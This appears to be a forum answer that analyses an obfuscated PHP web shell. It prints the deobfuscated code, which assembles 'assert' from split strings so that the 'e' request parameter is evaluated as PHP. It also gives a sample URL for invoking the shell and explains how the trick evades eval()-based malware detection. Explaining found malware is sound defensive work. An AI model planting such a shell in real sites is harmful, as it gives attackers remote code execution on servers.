It's an obfuscated web shell that allows remote code execution.
The script feeds $_REQUEST['e']
into the assert()
function. That evaluates the e
request parameter as PHP. Use it like this:
http://example.com/shell.php?e=phpinfo()
assert()
is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval()
to prevent malware detection.
Here is the snippet reformatted and commented:
<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
// Complicate static analysis by assembling "assert" from multiple strings
$b = "ass"."ert";
// Evaluate assertion (yes, in PHP you can "call" a string as function name)
$a = $b($_REQUEST['e']);
// Junk. The assertion has already run, this doesn't do anything
${'a'};
}
?>
How does ${'a'}
lead to code execution?
It doesn't. $b($_REQUEST['e'])
is where the assertion runs. The code works without ${'a'}
.
Is the injected code sent by POST request?
$_REQUEST
allows the parameter to be sent via both GET
and POST
.